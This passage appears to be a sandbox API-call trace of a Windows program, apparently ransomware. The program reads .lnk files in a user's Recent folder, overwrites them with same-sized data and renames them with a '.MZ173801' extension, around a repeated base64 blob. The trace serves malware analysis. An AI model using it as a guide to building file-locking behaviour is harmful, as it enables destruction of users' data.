OTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.275] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Gpfsvhxc7oI9Y_EIQz.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gpfsvhxc7oi9y_eiqz.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.276] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.276] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.276] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x41a [0121.276] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.276] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x41a, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x41a, lpOverlapped=0x0) returned 1 [0121.277] CloseHandle (hObject=0x288) returned 1 [0121.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Gpfsvhxc7oI9Y_EIQz.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gpfsvhxc7oi9y_eiqz.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.277] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x41a, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x41a, lpOverlapped=0x0) returned 1 [0121.278] CloseHandle (hObject=0x288) returned 1 [0121.279] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Gpfsvhxc7oI9Y_EIQz.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gpfsvhxc7oi9y_eiqz.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Gpfsvhxc7oI9Y_EIQz.mkv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gpfsvhxc7oi9y_eiqz.mkv.lnk.mz173801")) returned 1 [0121.280] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb41540, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf4a0be0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf4a0be0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x96b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="gYbE-viNm.lnk", cAlternateFileName="GYBE-V~1.LNK")) returned 1 [0121.280] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.280] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.280] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gYbE-viNm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gybe-vinm.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb41540, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf4a0be0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf4a0be0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x96b)) returned 1 [0121.282] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.282] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.283] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gYbE-viNm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gybe-vinm.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.283] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.283] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.283] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x96b [0121.283] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.283] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x96b, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x96b, lpOverlapped=0x0) returned 1 [0121.284] CloseHandle (hObject=0x288) returned 1 [0121.284] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gYbE-viNm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gybe-vinm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.285] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x96b, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x96b, lpOverlapped=0x0) returned 1 [0121.286] CloseHandle (hObject=0x288) returned 1 [0121.293] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gYbE-viNm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gybe-vinm.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gYbE-viNm.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gybe-vinm.lnk.mz173801")) returned 1 [0121.295] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde73d020, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf989940, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf989940, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe4b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="he60tRzePztsrtC.lnk", cAlternateFileName="HE60TR~1.LNK")) returned 1 [0121.295] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.295] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.295] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\he60tRzePztsrtC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\he60trzepztsrtc.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde73d020, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf989940, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf989940, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe4b)) returned 1 [0121.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 